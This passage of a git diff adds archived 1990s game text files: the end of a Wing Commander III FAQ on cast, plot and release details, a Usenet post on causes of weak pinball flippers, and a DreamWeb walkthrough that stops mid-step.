*5.1.2.* Can your wingmen actually die during an average mission, or are + there safeguards built in to prevent this? + ------------------------------------------------------------------------- + + In Wing Commander I, it wasn't only your life at stake when you went up + against the Kilrathi -- your wingman were constantly in danger of getting + killed, as well. If the Kilrathi nailed your partner, he/she was gone. + Permanently. Taken off the flight roster. You even got to attend their + funeral. + + In Wing Commander II, this was not the case. The writers wanted more + control over who died and when, because otherwise the branching storyline + was too hard to write; there were just too many variables. Some of the + characters in WC2 still died from time to time, but it was always at a + predetermined time when the writers wanted it to happen -- not just because + the Kilrathi got a few lucky shots in during one of your sorties. If the + cats did destroy your wingman's ship, the victim would always manage to + eject first. You'd be without help until you got back to your carrier, but + the person would always still be alive when you got back. + + Unfortunately, this will still be the case with Wing 3. It tends to make + the plot slightly more linear, but it's a necessary evil to make the + various permutations of the plotline manageable for the game designers. + + +5.2. How is live acting being integrated into the cinematic sequences? +========================================================================= + +All acting is done in advance in front of a green screen -- which is, as +the name suggests, a cloth backdrop spray painted green. The backgrounds +are rendered on a Silicon Graphics workstation (the same ones used in the +making of Jurassic Park). After the acting is done and the backgrounds have +been generated, they backgrounds are overlaid over the green backdrop in the +film footage. The result is a video sequence with live actors in front of a +very realistic-looking computer-generated setting. + + + *5.2.1.* How much live acting is contained in the cinematic sequences? + ----------------------------------------------------------------------- + + About three and a half hours of footage was filmed for the game. Of + course, you won't see all of this playing the game through just once, since + it has a branching storyline. + + + 5.2.2. Why don't some of the actors look like their characters? + ---------------------------------------------------------------- + + During the casting for Wing Commander III, the primary concern was finding + actors who could accurately portray the Wing Commander characters' + personalities; physical appearance was secondary. While it was certainly + nice to find an actor or actress who not only was able to play the role + well but looked like the character in mind, this wasn't always possible, + as in the case of the actor taking the role of Paladin (John Rhys-Davies). + + + 5.2.3. How is the acting for the Kilrathi characters accomplished? + ------------------------------------------------------------------- + + Think "Darth Vader", and you'll have a pretty good idea. An actor wears + an elaborate set of costumes and makeup (made by the same group who did the + masks for the Teenage Mutant Ninja Turtles movies, by the way), and acts + out the motions and lip movements for his character. Voices are dubbed + over later by a separate voice actor. + + Apparently this combination works pretty well. A "behind-the-scenes" + article about WC3 in the August '94 issue of Computer Game Review said + that "The Kilrathi, while having occasionally over-exaggerated movements, + do not look at all unreal." + + +5.3. Who are the characters in Wing Commander III, and who are the actors + and actresses playing their roles? +============================================================================ + + 5.3.1. Col. Christopher Blair (Mark Hamill) + -------------------------------------------- + + In Wing Commander III, the player takes the role of Colonel Christopher + Blair, a veteran Confederate pilot who commands the fighter squadron on + his ship. Throughout the course of the game, you not only fly dozens of + missions against the Kilrathi, but deal with intercharacter relationships + with your shipmates as well -- you even get to choose your own love + interest. + + Blair is portrayed by Mark Hamill, best known for his starring role as Luke + Skywalker in the "Star Wars" movie trilogy. He has also been seen in "The + Guyver," "The Night the Lights Went Out in Georgia," "Britannia Hospital", + and others. Voice acting work includes playing The Joker in the Batman + animated television series and "Mask of the Phantasm" motion picture, and + a role in Sierra's interactive adventure game, "Gabriel Knight." + + + 5.3.1.1. Do I get to pick my player's name or callsign? + ---------------------------------------------------------- + + Your name (Christopher Blair) is assigned to you and cannot be + changed. You will be able to pick a callsign for yourself, though + it will not be used during the cinematic sequences, since the spoken + dialogue cannot change to reflect the callsign you choose. The + callsign will instead be used in places such as the flight roster + posted on the ship, while during the cinematics you are referred to + by your "real" name (Blair). + + + 5.3.2. James "Paladin" Taggart (John Rhys-Davies) + -------------------------------------------------- + + Veterans of the first two Wing Commander games will certainly remember + Paladin, the Scottish officer who has been serving in the Navy for several + decades. Taking this role is John Rhys-Davies, who has appeared in + "Raiders of the Lost Ark," "Indiana Jones and the Last Crusade," "The Living + Daylights," "Firewalker," and others. He is currently starring in "The + Untouchables" TV series and is the host of the Discovery Channel's + "Archaeology." + + + 5.3.3. Todd "Maniac" Marshall (Tom Wilson) + ------------------------------------------- + + Another character from the earlier WC games, Maniac is a brash, + unpredictable pilot who has a stubborn "to-hell-with-the-rules" attitude + that has put himself and his shipmates in danger countless times. He is, + however, a highly skilled flier whose talents are desperately needed in + the war against the Kilrathi. + + Maniac is portrayed by Tom Wilson, who you've probably seen as Biff in the + "Back to the Future" trilogy. Wilson has also been in "Blood In... Blood + Out," "Action Jackson," "April Fool's Day," and others. + + + 5.3.4. Melek (Tim Curry) + ------------------------- + + Melek is a Kilrathi warrior, and the right-hand man of Prince Thrakhath. + + Tim Curry, probably most easily remembered as the transvestite in "The + Rocky Horror Picture Show," is doing the voice acting for Melek in WC3. + Curry also did voice acting in Sierra's "Gabriel Knight," along with WC3 + co-star Mark Hamill. + + + 5.3.5. Admiral Geoffrey Tolwyn (Malcolm McDowell) + -------------------------------------------------- + + Those who only played WC2 probably remember Tolwyn as a hard-nosed, strict + commander who never really seemed to care about much besides making the + player's life difficult. Those who read the WC novels should have a + more positive impression of him; that of a just, honorable officer who + places morality and ethics above authority and discipline. (Yeah, it + sounds cliched, but true.) + + Whatever picture you have of Tolwyn, he'll be present in WC3, played by + Malcolm McDowell. McDowell has been in movies such as "A Clockwork + Orange," "Time After Time," "Cat People" (too bad he's not playing a + Kilrathi...) ;), "Britannia Hospital" (with WC3 co-star Mark Hamill), and + others. He is also playing the role of the villain Soran in the upcoming + "Star Trek: Generations" motion picture. + + + 5.3.6. Rachel (Ginger Lynn Allen) + ---------------------------------- + + Rachel is a tech officer on the ship on which Blair serves, and is one + of the two potential love interests for the player. The actress who + plays her, Ginger Lynn Allen, has starred in "Young Guns II," "Skin Deep," + "Leather Jackets", and other "adult" films. TV credits include "Silk + Stalkings," "Sunset Beat," and a current recurring role on "NYPD Blue." + + + 5.3.7. Flint (Jennifer MacDonald) + ---------------------------------- + + The other possible love interest for the player, Flint is a member of + Blair's flight squadron whose dynamic character is hidden underneath a + cool, calm exterior. Flint is played by Jennifer MacDonald, who has been + seen in "Terminal Force," "The Collector," "Shades of Black," "Dream On," + "The Adventures of Brisco County, Jr.," and others. + + + *5.3.8.* Col. Eisen (Jason Bernard) + ---------------------------------- + + Eisen, the commander of the TCS Victory, is another newcomer to the Wing + Commander saga, played by Jason Bernard (currently starring in the TV + series "Herman's Head.") Bernard has also appeared on "The Cosby Show," + "St. Elsewhere," "Knot's Landing," "Night Court," "The Flash," and others. + Film credits include, but are not limited to, "War Games," "Paint It + Black," and "Blue Thunder" (with WC3 co-star Malcolm McDowell). + + + 5.3.9. Rollins (Courtney Gains) + -------------------------------- + + Courtney Gains takes on the role of Rollins in WC3. Gains has been seen + in "Memphis Belle," "The 'Burbs," "Colors," "Can't Buy Me Love," and "Back + to the Future," among others. TV credits include "Seinfeld," "Tales From + the Crypt," and "In the Heat of the Night," and more. + + + 5.3.10. Flash (Joshua Lucas) + ---------------------------- + + Joshua Lucas, the actor playing Flash, is a regular on "The Man From Snowy + River". On the big screen, he has been seen in "Alive" and "Class of '61." + + + 5.3.11. Hobbes + -------------- + + Originally assigned to be a bridge officer on your ship, you pull some + strings to get him placed on your fighter squadron, where he again takes + the role of one of your fellow wingmen. + + + 5.3.12. The Emperor and Prince Thrakhath + ---------------------------------------- + + Yup, it's been confirmed that they're both back for the grand finale. + That, however, is all that's been confirmed. :) + + +5.4. Will any other members of the Wing Commander cast (Angel, Doomsday, + etc.) make an appearance in Wing Commander III? +========================================================================= + +Since nothing has been announced, probably not. They may be mentioned in the +dialogue, but an actual appearance is unlikely. + + + 5.4.1. What happened to Angel, anyway? + --------------------------------------- + + Since Angel (who, in case you forgot, was romantically involved with Blair + at the end of SO2) isn't one of the WC3 regulars, the question of what + became of her is raised. The only thing known for certain is that she was + _not_ killed on the Concordia (see section 5.5 below). Origin didn't just + forget about her, but they aren't saying what happened to her, either. + This will be revealed in WC3. + + +*5.5.* How good do the final cinematic sequences look? +======================================================= + +This is obviously a difficult question to answer, not only because it's hard +to define in words, but also because it's largely a matter of opinion. Most +people I've talked to who have seen some of the actual cinematic footage agree +that while it isn't "Star Wars" caliber, and has it's small share of bad +acting, most of it is fine and some of it is actually quite good. Though the +Kilrathi are fairly easily identifiable as puppets/machines, they have quite a +wide range of facial expressions and the lip synching for them is very well +done. In any case, it's probably a significant step above other interactive +movies on the market today, and should be something to look forward to. + +Again, note that these are the opinions of the people I spoke with and are +subject to your own whims and preferences. Personal mileage may vary. + + +5.6. What is the basic plot of Wing Commander III? +===================================================== + +The year is 2669 (two years after the end of SO2), and the Kilrathi again have +gained the upper hand in the Galactic War. Your old carrier, the TCS +Concordia, has been recently destroyed, and you are reassigned to the decrepit +TCS Victory. It is here that your adventure begins. + +The Terrans have developed a weapon of terrifyingly destructive power called +the Behemoth, which they are hoping can tip the scales back in their favor -- +but before they can use it, a human traitor hands the plans for the weapon over +to the Kilrathi. The scientist who designed the weapon is taken to a Kilrathi +prison, and you, of course, have to rescue him. As the war draws closer to its +climactic finish, you volunteer for a final, desperate suicide mission which +is guaranteed to end the war one way or the other. + + +5.7. How do the events in the Wing Commander novels fit into the storyline? + (SPOILER) +============================================================================== + +First off, let it be said that the novels _are_ considered "official" +material -- that is, the events that transpired in them are assumed to have +happened in the "real" (i.e., computer game) WC universe. Among these are the +death of Hunter, the adventures of the Tarawa, and the Kilrathi fleet's attack +on the core Confederate worlds, including Earth. (A very brief summary of the +events in the third novel can be found on page 12 of the WCArmada manual.) + +The second and third novels take place in the two-year gap between WC2 and WC3. + + +********************************* +6. Other miscellaneous questions +********************************* + +*6.1.* What is the current estimated release date? +=================================================== + +November 21, 1994. This is (obviously) subject to change. Filming was +completed several months ago, so all that's left now is on the technical end. +The 3DO version (see section 6.3) is scheduled to be released in January '95. + + +*6.2.* What's this I hear about a "Premiere Edition?" +====================================================== + +A special collector's "Premiere Edition" of WC3 is being produced along with +(and will be released at the same time as) the normal game. While the game +itself will be exactly the same as the one in the regular edition, the +Premiere Edition contains several extra items you can't get elsewhere. There +is a limited number of these being produced, though Origin isn't saying what +number that is -- so if you want one, get your order in soon! :) + + + *6.2.1.* What does it contain? + ------------------------------- + + The Premiere Edition will contain all of the items found in the regular + game, plus: + + Special Film Canister Packaging: As the inauguration of the ORIGIN + Interactive Movie (TM) line, only the Wing Commander III Premiere + Edition will be packaged in an authentic motion-picture film canister. + + The Making of Wing Commander III: A video documentary chronicling all + the production aspects of the game, from ORIGIN to Hollywood. This + video features exclusive interviews with all of the stars and key + product development team members. + + Wing Commander novel: Fleet Action, by William R. Forstchen. The + third in the successful series of Wing Commander novels by Baen Books. + + Wing Commander III t-shirt: Featuring the Terran Confederation + insignia and classic movie poster cover art created by ORIGIN's Sam + Yeates. + + ORIGIN Audio CD: Volume 3 of the ORIGIN soundtrack series with award- + winning music from games such as Wing Commander III, ULTIMA VIII: + Pagan, Wings of Glory, Pacific Strike, BioForge and Wing Commander + Armada. + + Wing Commander III calendar: A full-size calendar with scenes lifted + directly from the game. Something to use all year. + + Plus more! + + + *6.2.2.* Will there be a Premiere Edition for the 3DO version? + --------------------------------------------------------------- + + Nothing is absolutely certain yet, but probably not. + + +6.3. What platforms is Wing Commander III being released on? +=============================================================== + +Both an IBM and a 3DO version are planned. The PC version should run reliably +on OS/2 systems with 16 or more megs of RAM. In-house testing is currently +being done on this at Origin. + + + 6.3.1. How will the 3DO version differ from the PC version? + ---------------------------------------------------------------- + + The 3DO version will be optimized to take advantage of the 3DO's better + graphics and sound capabilities -- this includes true 16-bit color, a full + stereo soundtrack throughout the game, and Dolby Surround sound effects. + There will be no installation program required (obviously), so you should + be able to just jump in and start playing. CD delays should be shorter, + as well. + + Ideally, the 3DO and PC versions will ship as close to simultaneously as + possible. + + +*6.4.* Will there be different versions of WC3 available for different + languages? +======================================================================= + +Versions are planned for French and German, with different voice actors +re-dubbing the voices in the appropriate languages. Subtitled versions of the +game will be simultaneously released with the English version; the actual +French and German dubs will come at a later date. + + +*6.5.* Are there any screen shots available? +============================================= + +Yes; two sets of screen shots have been uploaded onto several major online +services by Origin. The first were from some fairly early stages in game +development and did not accurately represent what the final product would look +like, so they were taken down. The second batch was uploaded within the past +few weeks and is still available for downloading. + + + *6.5.1.* What do the screen shots contain? + ------------------------------------------- + + Some external shots of a Confederate Arrow (a light fighter) flying in + space and near a capital ship are present. There are also some images + from the cinematic sequences, including a scene with Blair and Paladin + standing planetside, Rachel (the flight mechanic) on the flight deck, and + Admiral Tolwyn leaning over the desk in his office. No cockpit shots or + enemy fighters are present in any of the images. + + + *6.5.2.* Are those screen shots from playable sequences or cinematic + scenes? + --------------------------------------------------------------------- + + Yes, the external shots of the Arrow flying by the Kilrathi capital ship + are from the playable portion of the game. It is obvious which of the + pictures are from the cinematic sequences and these also reflect how the + game should look on your screen. + + + *6.5.3.* Where can I find the screen shots? + -------------------------------------------- + + You can get them from the official Origin support forum on most online + services, or from the Origin BBS. See section 1.6 for details. + + +*6.6.* Will a demo be released before the game comes out? +========================================================== + +Yep, and what a demo it will be. It wil be fully playable -- the first mission +will be included, so players can take a look at the new engine and see how it +runs on their machine. There won't be any cinematics directly related to this +mission included (an intro sequence, mission briefing or debriefing, etc.), +but there will be a full-motion video trailer for the movie portion of the +game, much like any other trailer you'd see on TV for a movie at the local +theater. + +The demo is going to be distributed on CD-ROM, and will be included free with +the December issues of PC Gamer and CD-ROM Today (which should both hit +newsstands on November 8). You'll also be able to buy it at your local +software store at about the same time. + + +*6.7.* What is the list price for Wing Commander III, and how can I + reserve a copy? +==================================================================== + +List price is $69.95. You can reserve a copy by contacting your local software +dealer or Electronic Arts Direct Sales at (800) 245-4525. + +Pre-orders for the Wing Commander III Premiere Edition began October 1st. To +reserve your copy, call Electronic Arts Direct Sales at (800) 245-4525. The +price is $99.95 plus shipping and handling (within the U.S.) Orders received +before November 1st will be shipped to arrive by the first day that Wing +Commander III hits retail store shelves. + + +*6.8.* What is the budget for Wing Commander III? +================================================== + +No official figures have been released, but estimates are that it's approaching +the area of four million dollars ($4,000,000) -- the largest budget ever for a +computer game. + + +6.9. Who is developing and filming Wing Commander III? +========================================================= + + 6.9.1. Who is involved with the cinematic side of the project? + ------------------------------------------------------------------- + + Over 50 professional filmmakers are on the WC3 team to help bring together + the cinematic portion of the game. Here is a partial list: + + Director/Executive Producer Chris Roberts + Producer Donna Burkons + Screenwriters Terry Borst + Frank DePalma + Cinematographer Virgil Harper + Art Director Chris Douglas + Music George Oldizey + + + 6.9.2. Who is involved with the gameplay side of the project? + ------------------------------------------------------------------ + + Following is a list of the programmers working on the PC version of + the game: + + Project Director : Frank Savage + o Spaceflight engine conversion + o New technologies (i.e., Capital ships) + + Programmer : Frank Roan + o Spaceflight object system and weapon systems + o Artificial Intelligence + o Mission system + + Programmer : Anthony Morone + o Cockpit/HUD displays and interface + o 3D Navigation Map + o Communication system and sound effects programming + + Programmer : Chris Todd + o Gameflow programming + o Cinematics integration + + Programmer : Jason Yenawine + o Full-motion video compressor and player + o Memory management + + + There is a second team of programmers in charge of the 3DO version: + + Programmer : Peter Shelus + o 3D spaceflight and object systems + o Artificial Intelligence + + Programmer : Brent Thale + o 3DO conversion of video compressor and player + + +*6.10.* Other Wing Commander III-related merchandise +==================================================== + + *6.10.1.* Will there be a Wing Commander III Playtester's Guide? + ---------------------------------------------------------------- + + Rather than the typical "Playtester's Guide" that Origin has released with + all of their games as of late, they're compiling a larger strategy guide + for WC3 similar to Mike Harrison's _Wing Commander I & II: The Ultimate + Strategy Guide_. It should be out within one to two months of the game's + release. + + + *6.10.2.* Will the soundtrack for Wing Commander III be released on CD? + ----------------------------------------------------------------------- + + Sort of. :) While a separate WC3 soundtrack may not be released, several + tracks of the game's music will be included on the next Origin soundtrack + (volume 3) along with selections from other OSI releases. This CD will + also be included with the Premiere Edition -- see section 6.2. + + + *6.10.3.* Will any of these extra items from the Premiere Edition be + sold separately? + -------------------------------------------------------------------- + Some of them probably will be, but which ones they are, how much they'll + cost, and when they'll be available are still up in the air. + + +*6.11.* Will WC3 be the last installment of the Wing Commander series? +====================================================================== + +There will certainly be other games set in the Wing Commander universe (see +section 6.12). Whether there will be a direct continuation of WC3 (WC4, in +other words), however, remains to be seen, though it seems very likely. Chris +Roberts originally envisioned the Wing Commander series as a trilogy, and it +sounds as if the story in WC3 will see the end of the Terran-Kilrathi war. If +the series continues, WC4 may just be the beginning of a second WC trilogy, +rather than a direct continuation of WC3. + +Word has it that an actual motion picture may be developed in conjunction with +the next installment in the Wing Commander series... wait and see. (Note that +this is not based on any official word from Origin). + + +*6.12.* What other Wing Commander products are planned for the future? +====================================================================== + + *6.12.1.* Privateer 2 + --------------------- + + "Privateer 2: Darkside" will be the next installment in the Privateer + series. The project, headed by Erin Roberts (Chris Roberts' brother), is + currently in the initial planning stages. Like WC3, it will utilize live + acting for all of the cinematic sequences, and will use an updated version + of the WC3 engine for the actual gameplay. + + Privateer 2 is being developed and filmed entirely in the United Kingdom. + The current (unofficial) target date is Christmas '95. Origin is taking + a lot of suggestions from gamers out there for this one, so if you've got + some ideas you'd like to share, send them an e-mail (see section 7.2)! + + + *6.12.2.* Super Wing Commander for the Mac + ------------------------------------------ + + After several years, Origin is once again venturing into the Mac arena with + a port of the 3DO's Super Wing Commander. This will be a CD-ROM only + release that should be available this March. + + + *6.12.3.* Wing Commander novels + ------------------------------- + + Three new Wing Commander novels are in the works, one of which will be a + novelization of the events in WC3. The "plot path" that the WC3 novel + takes (remember, the game has a branching storyline) will most likely + involve most of the harder missions from the game, and end with the + victorious finish. It is being written by William R. Forstchen (the author + of _End Run_ and _Fleet Action_) and Bill Keith. + + The second novel will jump back in time and focus on Hunter (when he was + still alive). It is being written by Ellen Guon (co-author of _Freedom + Flight_ and lead writer for Wing Commander II). The third novel has been + contracted, but the content has not yet been decided; it might be take + place over on the Privateer side of the galaxy... + + + *6.12.4.* Wing Commander: The Motion Picture? + ---------------------------------------------- + + There's serious talk going around of an actual Wing Commander movie being + made. We're not talking green-screen acting with computer-generated + backgrounds, either, but a real, full-blown motion picture. Nothing is + known about the content as of yet, though it may be a crossover with WC4. + + There has also been some talk of a WC TV series, though nothing is certain, + and again, no other details are available right now. Stay tuned. + + +******************** +7. In conclusion... +******************** + +*7.1.* Credits / sources +=========================== + +The Wing Commander III FAQ was complied and written by James Hogan, but I've +had plenty of help... + +Thanks to those Origin employees who have taken time from their schedule to +answer my questions: + Tony Morone + Frank Roan + Frank Savage + Galen Svanas + Chris Todd + +Mark Meytin is the person responsible for doing the HTML translation of the +WC3 FAQ, which it a tremendous help to those people who access it over the +World Wide Web. Thanks, Mark. + +Richard Poffley provided me with coverage of the WC3 display at the ECTS +(European Computer Trade Show)... thanks! + +And a big thanks to all the other people who have forwarded me info, given +me ideas, suggested a question or topic to cover, or otherwise helped me with +the production of the FAQ... + Nicholas Albright + Wayne Baker + Ron Blancarte + Gary Goodman + Paul Fleming + Pham Hoang + Dieter Janssen + Tommy McClain + Richard Scanlan + BenHerd@aol.com + +Other sources include the following magazines... + +Computer Gaming World, June 1994, page 14 +Computer Games Strategy Plus, August 1994, pages 20-23 +PC Gamer, August 1994, pages 8-11 +Interactive Entertainment, Episode 3 + +Additional thanks to Wayne Baker at Origin for helping to answer all of my +seemingly endless questions. :) + + +*7.2.* Where to find out more +============================== + +There have already been several magazines and other periodicals that have +had information on WC3 in them. If you'd like to check any of them out for +yourself, here's a list: + + AP Newswire June 23, 1994 + Austin American Statesman June 20, 1994 + CD-ROM Today August/September, 1994 + Computer Game Review July, 1994 + Computer Games Strategy Plus August, 1994 + Computer Gaming World May 1994, June 1994 + Daily Variety Magazine + Electronic Entertainment April 1994, June 1994 + The Hollywood Reporter May 17, 1994 + Interactive Entertainment Episode 3 + Los Angeles Daily News June 28, 1994 + PC Gamer July 1994, August 1994 + PC Format (United Kingdom) July, 1994 + PC World (New Zealand) June, 1994 + +Have more questions about WC3 that aren't in the FAQ, or just want to find +something out straight from the source? Ask Origin directly: + + CompuServe: 71333,136 + America Online: OSI + GEnie: origin.mkt + Internet: osi@aol.com + + +*7.3.* Contacting the FAQ author +=================================== + +Did you find out another bit of information you'd like to see added? Did I +screw something up? Have any questions you'd like answered in the next +revision of the FAQ? + +If, for these or any other reasons, you'd like to contact me, I can be reached +in the following ways (note the change in my AOL screen name): + +Internet e-mail: j-hogan@ux4.cso.uiuc.edu (checked several times daily) +America Online: JamesH42 (checked once per week) +CompuServe: 70524,1343 (checked once per week) + +If you contact me about additional information to include in the FAQ, please +tell me your source. I'd like to verify all new info to keep the FAQ as +accurate as possible. + + + *7.3.1.* The WC3 FAQ mailing list + ---------------------------------- + + I also maintain a mailing list of people who would like to receive the + latest version of the WC3 FAQ when it is released. If you'd like to + be on this, just drop me a line and tell me your name and e-mail + address, and I'll see to it that you're added to the list. + + +*7.4.* Revision history +======================== + +Version 1.0: Initial release. +(8/5/94) + +Version 1.01: A few minor changes, including the addition of the WC3 +(8/11/94) periodical reference list and this revision history section. + +Version 1.10: Revision history section heavily abridged so that it didn't +(10/24/94) expand to five or ten pages upon this version's release. + + FAQ grew by about 50%; most new info was in section 4, + including more detailed descriptions of what capital ship + combat and planetside missions would be like. A basic + explanation of what a polygon-based graphics engine is was + put in section 3.7. Official information from Origin regarding + estimated frame rates, and the WC3 Premiere Edition added to + sections 3 and 6. Several other less significant changes too + numerous to list. + + +7.5. Conclusion +================== + +Well, that's it for this release of the WC3 FAQ. Please write and let me know +what you thought; was it useful? Had you already heard all of the information? +Was it well-written? Even if you don't have any comments to speak of, please +just drop me a line and let me know if you read through it. + +Assuming I can scrounge up some more information, a new revision of the FAQ +should follow within a couple weeks. (Now where have we heard that before...) +Announcements will be posted on AOL, CIS, comp.sys.ibm.pc.games.action, and +comp.sys.ibm.pc.games.flight-sim. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/textfiles.com/games/weakflip b/textfiles.com/games/weakflip new file mode 100644 index 00000000..dd634c45 --- /dev/null +++ b/textfiles.com/games/weakflip @@ -0,0 +1,36 @@ +From: s924105@yallara.cs.rmit.OZ.AU (Cameron Silver) +Subject: Weak Flippers +Date: 26 Jul 93 05:16:51 GMT + + +I have a few suggestions for the cause of weak flippers, some may have been +mentioned before and if so, I'm sorry... + +o Bad EOS switch that doesn't let all of the power through to energize the + flipper. +o 'Expanded' flipper coil. As the coil gets old, or fried, it expands, putting + more friction on the shaft. Coils should always be replaced if a new sleve + doesn't slide in easily. +o 'Mushroomed' shaft. From the constant pounding on the coil-stop, the end of + the shaft mushrooms out. This causes friction between the shaft, and sleve. +o Weak return spring. If the return spring doesn't pull the shuft all the way + back to the resting position; then when the coil is energized, the shaft + only moves a bit, resulting in a weak flip/kick. +o EOS being activated too early causing the 50v to cut out too soon. +o Bad transistor on the driver board that doesn't 'open' as much as it should. +o Flipper rubber that is put on so badly that is rubs against the playfield. + (Yes, I have seen it!) +o Any slak in the linkage assembley. Sometimes the link wears out around the + pivot points. +o Steap playfield makes it seem like the flippers are weak. +o Misaligned flippers can make it seem like the flippers are weak. + + +That's about all I can think of now, I hope it puts your little minds at ease! + + +-- +Cameron Silver - Flippers make the world go 'round. + +I can be found at s924105@yallara.cs.rmit.oz.au + diff --git a/textfiles.com/games/web.txt b/textfiles.com/games/web.txt new file mode 100644 index 00000000..d1d18313 --- /dev/null +++ b/textfiles.com/games/web.txt @@ -0,0 +1,453 @@ +Complete Walkthru for DREAMWEB + + +The door number of Ryan's flat - 5106. + + + +You begin in Eden's flat. + +Look around, and find your wallet on the desk. Pick this up. + +Go to the right and examine the microwave. Open it and move the +key to your inventory. + +Go into living room and examine Network Cartridge labled Sartain Industries. +Put it into your inventory for later. + +Walk to the lift, use the controls next to the doors + +Walk into the lift. + +Use the control box. + +Walk through Eden's garage and examine the car - do not leave +the room - you won't be able to get back in yet. + +Take the screwdriver and the wrench from the garage. + +Leave the room and walk off to the left. + +On the travel screen select "Ryan's Flat" + +Walk to your front door. + +Examine the keypad that is to the left of the door. + +Use keypad. + +Enter your number 5106. + +Go into the bedroom. + +Pick up the knife from the bed. + +Pick up the red Network cartridge close to the machine - if you +examine it you will find that it is marked "Important!" + +Examine the network interface by the window. + +Open it and place the cartridge inside. + +Examine the Network monitor. + +Use it. + +When it has initialised type "LIST" and press ENTER. + +Type "LOGON RYAN" + +When it ask for a password, just hit enter, this will work for Ryan, Beckett, +and Louis....Thanks to Randall Flagg of RAZOR 1911.... + +Type "LIST CARTRIDGE" + +Type "READ PRIVATE" + +You will be given the door numbers for Eden's and Louis's. + +Note down the numbers. + +Leave your flat and go to the lift. + +Use the lift control. + +Go to Louis' flat. + +Here you will be mugged as you enter the building. You can no +longer leave until you find some suitable footwear. + +Walk to Louis' door. + +Examine and then Use the keypad. + +Enter the number - 5238 + +Walk into the room. Go and talk to Louis. + +Open the cupboard by the monitor (the drink machine is on top of +it). + +Move the red pool hall card into your inventory. Examine it +(click right button). + +You now have access to the pool hall. + +Look in the toilet and pickup both trainers on the floor. + +Use each trainer to place them on your feet - you can now leave +Louis's. + +Open your inventory. + +Press the right button when over the wallet. + +Open it and remove the card. Put this in your inventory. + +Leave Louis. + +Go to the street and leave. + +Select "Sparky's bar" + +Enter the bar. + +Walk to the seat in front of Sparky. + +Examine and Use the seat. + +Talk to Sparky. + +Examine the card reader on the bar. + +Use the card reader with the credit card. + +Examine the credit card (right button on the card in your opened +inventory) + +Use the card and you will see your balance. + +Talk to the man sat next to you. He'll tell you about the Hotel. + +Leave the bar. + +Go to the pool hall. + +Walk into the lift and use the controls there. + +Talk to the man behind the bat. He will help you. + +In the pool hall head left until you can go no further. + +Use the keypad and enter the number - 5222. + +In the office use the card reader with your credit card. + +Take the gun from the desk. + +Leave the location by going to the lift and using the controls. + +Walk through the alley and back out into the street. + +Go to the Hotel on the travel screen. + +Talk to the receptionist. + +Use the card reader with your credit card. + +Take the key from the desk (this is very hard to spot but it +must be taken - it appears in front of the receptionist). + +Go to the lift. Use the pad on the wall. + +Enter the lift, use the control with your room key. + +Walk out of the lift and go left. + +Go down and examine the firepoint. + +Open it and remove the axe. + +You may go into your room if you wish, but you don't need to. +(it is to the right). + +Go back into the lift and use the controls with the knife from +your flat. + +Examine the wire and use it with the knife. + +Examine the handle and Use it. + +Once on top of the lift examine the doors and Use them with the +axe. + +In combat, open your inventory and use axe when the game allows +you to. + +After the guard misfires (CLICK comes up) use gun. + +Walk past the pool into the room to the left. + +Walk down and examine the gun in your inventory. + +Select "Use gun" when the game lets you. + +In the Dreamweb talk to the monk. + +Find the door that will let you out (first on in right hand +corridor at bottom of map). + +Use the door. + +In the Dreamweb room use the plinth with the key. + +Ryan will find himself in a skip in an alley. + +Walk to the right. + +Walk down. + +Go home and enter your bedroom. + +Use the Network monitor. + +LIST NEWSNET + +READ TVSPECIAL + +EXIT + +You will now know about the general. + +Leave your flat. + +Go to the TV studio. + +Walk right as far as you can and then walk down until you come +to the sign painted on the floor. + +Go left and when you come to the barrier use the gun in your +inventory. + +Examine the controls behind the window by the barrier. + +Use the controls. + +Walk left and then up into the TV studio. + +Pick up Magazine off of the Reception Desk and drop it. + +Pick up Key for Storeroom. + +In the TV studio go left and then down into the storeroom and use key. + +Examine the fusebox. + +Use the fusebox with the screwdriver. + +Take the fuse (this is very small and is on the fusebox). + +Leave the room and go left twice and then up. + +Use the ladder. + +Walk to the winch control. Examine it and open it. + +Remove the blown fuse and put in the new fuse. + +Use the winch control. + +You will then enter the Dreamweb - remember to speak to the +keeper. + +In the Dreamweb you must locate a crystal before you can leave, +it is at the bottom of the map in the centre. + +You find yourself outside Sparky's. + +Go back to Eden's. Open her door using the keypad to its right. + +Enter the number - 2865 + +Go to the lift and use the controls. + +You will now find that Eden is in the bath. + +Walk to Eden's bedroom. + +Examine the diary on the bed and use it. + +You will be given information on Sartain Industries' address. + +Leave Eden's flat. + +Go to your flat and view Sartain Network Cartridge you picked up +at Eden's. + +Put cartridge into the interface. + +Logon as Ryan on Network and List Cartridge. + +Read Meeting and then read Code for the Sartain Industries Keypad--7833 + +Go to Sartain Industries on the travel screen. + +Walk into the building and open your inventory - use the gun. + +Go left and enter the lift. + +Use the controls. + +Once in combat open your inventory. + +Examine and then use the crystal. + +Walk down and then in the small door to the right. + +Examine the briefcase. + +Open it and take the papers from inside. + +Examine the papers - you now know where to find Underwood and +Chapel. + +Go up the stairs and onto the roof. + +Go left onto the helipad. + +Use the gun to explode the helicopter. + +Dream number 3 takes place here + +You find yourself in the car park. + +Find the van with the tarpaulin in it. Take the wire cutters. + +Go to the Chapel's house. + +Use the wall to climb over it and look around - you find +a blue Network Cartridge with info on the Church. + +Go back to your flat, put in the new Cartridge and logon as Beckett. Just +hit enter for Password, then List Cartridge...Read BREIF. + +Go to the church. + +Use the wrench on the chain on the gate. + +The chain breaks and Ryan pushes open the gate. + +You find the big doors at the front of the church locked, so +leave here for now. + +Go to the Underwood's boathouse. + +Examine the pipe in the water and use it with a cup or bottle. + +Pick up the railing that is on the sand. + +Walk right and you will find yourself by the boathouse. + +If you use the balcony the security system will be activated and +will kill you. + +Examine the metal plate in the top left of this location. + +Use metal plate - Ryan brushes the sand off to reveal an +electrical junction box. + +Use metal plate with railing - Ryan opens the junction box. + +Use the junction box with the cup (or bottle) and the security +system will be destroyed. + +You can now use the hole in the balcony to climb up. + +Use the hole in the window to enter the boathouse. + +Shoot Underwood after you have talked to her. + +Dream number 4 takes place here. + +You wake up further along the beach. + +Go to the church and you will find the doors are now open. + +Pick up Hand + +Walk down until you come to the altar + +Pick up and drop the cloth and 2 candlesticks from the Alter. + +Examine the hole in the alter, use hand with hole. + +Examine the altar and Use it. + +Examine the hole in the floor and use it. + +Use the tomb - Ryan pulls back the lid to reveal two crystals, a +dagger and a rock. + +Take all of these items. + +In the jar by the tomb lid is another crystal. + +Place the crystals in the stone design on the 